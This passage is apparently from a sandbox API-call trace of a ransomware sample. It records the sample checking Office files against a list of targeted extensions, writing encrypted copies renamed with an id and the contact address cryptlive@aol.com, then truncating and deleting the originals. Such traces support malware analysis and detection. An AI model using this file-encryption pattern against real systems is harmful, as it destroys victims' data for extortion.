1 [0144.378] WriteFile (in: hFile=0x1ec, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0144.390] SetEndOfFile (hFile=0x1ec) returned 1 [0144.390] CloseHandle (hObject=0x1ec) returned 1 [0144.390] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.390] SetEndOfFile (hFile=0x384) returned 1 [0144.392] CloseHandle (hObject=0x384) returned 1 [0144.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.393] lstrlenW (lpString=".doc") returned 4 [0144.393] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0144.393] lstrlenW (lpString=".docx") returned 5 [0144.393] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0144.393] lstrlenW (lpString=".pdf") returned 4 [0144.393] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0144.393] lstrlenW (lpString=".xls") returned 4 [0144.393] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0144.393] lstrlenW (lpString=".xlsx") returned 5 [0144.393] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0144.393] lstrlenW (lpString=".ppt") returned 4 [0144.393] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.393] lstrlenW (lpString=".zip") returned 4 [0144.393] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0144.393] lstrlenW (lpString=".rar") returned 4 [0144.393] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0144.393] lstrlenW (lpString=".bz2") returned 4 [0144.393] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0144.393] lstrlenW (lpString=".7z") returned 3 [0144.393] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0144.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.393] lstrlenW (lpString=".dbf") returned 4 [0144.394] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.394] lstrlenW (lpString=".1cd") returned 4 [0144.394] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.394] lstrlenW (lpString=".jpg") returned 4 [0144.394] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.394] lstrlenW (lpString=".doc") returned 4 [0144.394] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString=".docx") returned 5 [0144.394] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1 [0144.394] lstrlenW (lpString=".pdf") returned 4 [0144.394] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString=".xls") returned 4 [0144.394] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0144.394] lstrlenW (lpString=".xlsx") returned 5 [0144.394] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1 [0144.394] lstrlenW (lpString=".ppt") returned 4 [0144.394] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.394] lstrlenW (lpString=".zip") returned 4 [0144.394] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0144.394] lstrlenW (lpString=".rar") returned 4 [0144.394] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString=".bz2") returned 4 [0144.394] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString=".7z") returned 3 [0144.394] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.394] lstrlenW (lpString=".dbf") returned 4 [0144.394] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0144.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.395] lstrlenW (lpString=".1cd") returned 4 [0144.395] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0144.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58 [0144.395] lstrlenW (lpString=".jpg") returned 4 [0144.395] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0144.395] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0144.395] lstrlenW (lpString="ospintl.dll") returned 11 [0144.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.395] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=18320) returned 1 [0144.395] CloseHandle (hObject=0x384) returned 1 [0144.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll")) returned 0x20 [0144.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.396] lstrlenW (lpString=".doc") returned 4 [0144.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0144.396] lstrlenW (lpString=".docx") returned 5 [0144.396] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0144.396] lstrlenW (lpString=".pdf") returned 4 [0144.396] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0144.396] lstrlenW (lpString=".xls") returned 4 [0144.396] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0144.396] lstrlenW (lpString=".xlsx") returned 5 [0144.396] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0144.396] lstrlenW (lpString=".ppt") returned 4 [0144.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0144.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.396] lstrlenW (lpString=".zip") returned 4 [0144.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0144.396] lstrlenW (lpString=".rar") returned 4 [0144.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0144.396] lstrlenW (lpString=".bz2") returned 4 [0144.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0144.396] lstrlenW (lpString=".7z") returned 3 [0144.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0144.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.396] lstrlenW (lpString=".dbf") returned 4 [0144.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0144.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.396] lstrlenW (lpString=".1cd") returned 4 [0144.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString=".jpg") returned 4 [0144.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString=".doc") returned 4 [0144.397] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString=".docx") returned 5 [0144.397] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0144.397] lstrlenW (lpString=".pdf") returned 4 [0144.397] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString=".xls") returned 4 [0144.397] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString=".xlsx") returned 5 [0144.397] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0144.397] lstrlenW (lpString=".ppt") returned 4 [0144.397] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString=".zip") returned 4 [0144.397] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString=".rar") returned 4 [0144.397] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0144.397] lstrlenW (lpString=".bz2") returned 4 [0144.397] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0144.397] lstrlenW (lpString=".7z") returned 3 [0144.397] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString=".dbf") returned 4 [0144.397] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString=".1cd") returned 4 [0144.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0144.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0144.397] lstrlenW (lpString=".jpg") returned 4 [0144.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0144.398] lstrcmpiW (lpString1=".INF", lpString2=".LIVE") returned -1 [0144.398] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0144.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.405] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2416) returned 1 [0144.405] CloseHandle (hObject=0x39c) returned 1 [0144.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf")) returned 0x20 [0144.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0144.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.406] lstrlenW (lpString=".doc") returned 4 [0144.406] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0144.406] lstrlenW (lpString=".docx") returned 5 [0144.406] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0144.406] lstrlenW (lpString=".pdf") returned 4 [0144.406] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0144.406] lstrlenW (lpString=".xls") returned 4 [0144.406] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0144.406] lstrlenW (lpString=".xlsx") returned 5 [0144.406] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0144.406] lstrlenW (lpString=".ppt") returned 4 [0144.406] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0144.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.406] lstrlenW (lpString=".zip") returned 4 [0144.406] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0144.406] lstrlenW (lpString=".rar") returned 4 [0144.406] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0144.406] lstrlenW (lpString=".bz2") returned 4 [0144.406] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0144.406] lstrlenW (lpString=".7z") returned 3 [0144.407] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString=".dbf") returned 4 [0144.407] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString=".1cd") returned 4 [0144.407] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString=".jpg") returned 4 [0144.407] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString=".doc") returned 4 [0144.407] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0144.407] lstrlenW (lpString=".docx") returned 5 [0144.407] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0144.407] lstrlenW (lpString=".pdf") returned 4 [0144.407] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0144.407] lstrlenW (lpString=".xls") returned 4 [0144.407] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0144.407] lstrlenW (lpString=".xlsx") returned 5 [0144.407] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0144.407] lstrlenW (lpString=".ppt") returned 4 [0144.407] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString=".zip") returned 4 [0144.407] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0144.407] lstrlenW (lpString=".rar") returned 4 [0144.407] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0144.407] lstrlenW (lpString=".bz2") returned 4 [0144.407] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0144.407] lstrlenW (lpString=".7z") returned 3 [0144.407] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.407] lstrlenW (lpString=".dbf") returned 4 [0144.407] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0144.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.408] lstrlenW (lpString=".1cd") returned 4 [0144.408] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0144.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0144.408] lstrlenW (lpString=".jpg") returned 4 [0144.408] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0144.408] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0144.408] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0144.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.408] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6573424) returned 1 [0144.408] CloseHandle (hObject=0x39c) returned 1 [0144.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll")) returned 0x20 [0144.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0144.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.409] lstrlenW (lpString=".doc") returned 4 [0144.409] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.409] lstrlenW (lpString=".docx") returned 5 [0144.409] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0144.409] lstrlenW (lpString=".pdf") returned 4 [0144.409] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.409] lstrlenW (lpString=".xls") returned 4 [0144.409] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.409] lstrlenW (lpString=".xlsx") returned 5 [0144.409] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0144.409] lstrlenW (lpString=".ppt") returned 4 [0144.409] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.409] lstrlenW (lpString=".zip") returned 4 [0144.409] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.409] lstrlenW (lpString=".rar") returned 4 [0144.409] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.409] lstrlenW (lpString=".bz2") returned 4 [0144.409] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.409] lstrlenW (lpString=".7z") returned 3 [0144.409] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.409] lstrlenW (lpString=".dbf") returned 4 [0144.409] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString=".1cd") returned 4 [0144.410] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString=".jpg") returned 4 [0144.410] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString=".doc") returned 4 [0144.410] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString=".docx") returned 5 [0144.410] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0144.410] lstrlenW (lpString=".pdf") returned 4 [0144.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString=".xls") returned 4 [0144.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString=".xlsx") returned 5 [0144.410] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0144.410] lstrlenW (lpString=".ppt") returned 4 [0144.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString=".zip") returned 4 [0144.410] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString=".rar") returned 4 [0144.410] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0144.410] lstrlenW (lpString=".bz2") returned 4 [0144.410] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0144.410] lstrlenW (lpString=".7z") returned 3 [0144.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString=".dbf") returned 4 [0144.410] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.410] lstrlenW (lpString=".1cd") returned 4 [0144.410] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0144.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0144.411] lstrlenW (lpString=".jpg") returned 4 [0144.411] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0144.411] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0144.411] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0144.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.411] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=119680) returned 1 [0144.411] CloseHandle (hObject=0x39c) returned 1 [0144.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 0x20 [0144.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0144.412] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.412] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0144.413] GetLastError () returned 0x0 [0144.413] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x1d380, lpOverlapped=0x0) returned 1 [0144.431] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x1d390, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1d390, lpOverlapped=0x0) returned 1 [0144.436] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.436] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0144.436] SetEndOfFile (hFile=0x394) returned 1 [0144.436] CloseHandle (hObject=0x394) returned 1 [0144.436] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.436] SetEndOfFile (hFile=0x39c) returned 1 [0144.440] CloseHandle (hObject=0x39c) returned 1 [0144.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 